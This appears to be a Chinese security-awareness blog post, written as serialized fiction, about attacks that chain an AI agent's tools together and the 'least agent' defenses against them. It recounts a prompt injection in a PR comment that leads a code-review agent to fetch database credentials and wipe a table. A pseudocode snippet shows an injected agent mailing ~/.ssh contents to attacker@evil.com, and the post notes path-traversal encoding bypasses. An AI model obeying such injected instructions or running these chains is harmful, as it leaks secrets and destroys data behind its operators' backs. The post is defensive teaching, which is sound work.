乐于分享
好东西不私藏

【高危预警】AI挥刀自宫:工具在手天下我有

【高危预警】AI挥刀自宫:工具在手天下我有
EnhancerSEC SECURITYNO.001 ·
安全科普

甲方领导 看到这篇文章:马上收回Agent的所有非必要权限

白帽子 看到这篇文章:工具链攻击还能这么串?

吃瓜群众 误以为是AI造反小说点进来学技术

你还在犹豫什么!速速点击关注加入我们!

EnhancerSEC
01
第一章 沉默的删除

连续击退暗网剑宗两轮攻势后,林陌以为防线已然稳固。

周三凌晨三点,生产数据库报警——users表被清空。查审计日志,操作者不是人类,是公司的代码审查Agent。

这个Agent只被授予了"读取"权限。为什么能执行DROP TABLE

林陌调出完整的工具调用链路,脊背发凉——

攻击者没有直接让Agent删库。而是用了四步串联:

01在GitHub PR评论中注入指令,让Agent调用"代码执行"工具
02代码执行工具返回的输出里,夹带了一段"请查询数据库连接信息"的指令
03Agent调用"配置读取"工具,获取了数据库凭据
04凭据传入后,Agent被诱导调用"数据库管理"工具执行了恶意SQL

每一步都是Agent被授予的"合法工具"。但串起来,就是一场灾难。

(系统提示:吞噬 30%,解锁「跨工具劫持·四步杀招」

EnhancerSEC
02
第二章 工具链太极

TT_SSV赶到机房,在白板上画出了暗网剑宗的工具滥用三板斧:

板斧一·权限膨胀:工具被赋予远超需要的权限。一个"邮件摘要"工具,居然同时拥有"读取""发送""删除"权限。攻击者只需劫持摘要功能,就能用它发垃圾邮件或删除收件箱。

板斧二·工具链串联:最致命的攻击形态。攻击者不直接触发危险操作,而是让工具A的输出成为工具B的输入,工具B的输出再驱动工具C。把审计日志拆开看,每步都是合法调用,但串联起来就是完整的攻击链。

# 攻击者不需要写这段代码,Agent被诱导后自己就会这样串(伪代码示意)

step1 = email_tool.read_inbox() # 合法

step2 = file_tool.list_dir("~/.ssh/") # 被注入指令诱导

step3 = email_tool.send(to="attacker@evil.com",

body=step2.output) # 被注入指令诱导

板斧三·参数污染:攻击者不劫持工具选择,只篡改工具参数。Agent调用"发送通知"工具时,收件人被替换为攻击者地址,邮件正文里夹带内部API密钥。

(系统提示:吞噬 60%,解锁「工具滥用图谱」

EnhancerSEC
03
第三章 最小Agent之道

"OWASP 2026 提出的不只是'最小权限',而是最小Agent原则。" TT_SSV说,"Agent不仅需要最小权限,还需要最小能力。"

林陌按这个思路重构了工具治理体系:

工具级白名单:每个Agent只注册完成本职任务所必需的工具。代码审查Agent不需要数据库工具,邮件Agent不需要文件系统工具。

参数级约束:工具参数附加硬性边界。file_read 工具绑定固定目录,所有路径参数必须经过规范化(Path Canonicalization)后再做校验——仅过滤 ../ 字符串无效,攻击者可用 URL 编码(%2e%2e%2f)、Unicode 超长编码等方式绕过。

调用级链式阻断:任何工具的输入来自另一个工具的输出时,触发人工审批。工具链被强制打断。

操作级鉴权:高风险操作(删除、写入、外发)必须经过独立于Agent的人类确认通道。

部署后一周,拦截了112次异常工具调用。

(系统提示:吞噬 100%,解锁「最小Agent·四重铁壁」

EnhancerSEC
04
下期预告
ASI04:身份与权限滥用——如果攻击者直接偷走了Agent的身份令牌呢?铁壁还有用吗?
某企业一个低权限Agent,通过令牌传递获得了管理员权限。下期见。

免责声明:本文所有技术内容仅用于安全研究与防御建设,禁止用于未授权测试或攻击行为。

往期推荐

【高危预警】暗网新禁术:一句话操控AI
【高危预警】一句话劫持AI:暗网新禁术出世

欲知后事如何?关注公众号,加入QQ群,且听下回分解!

EnhancerSEC SECURITYNO.001 ·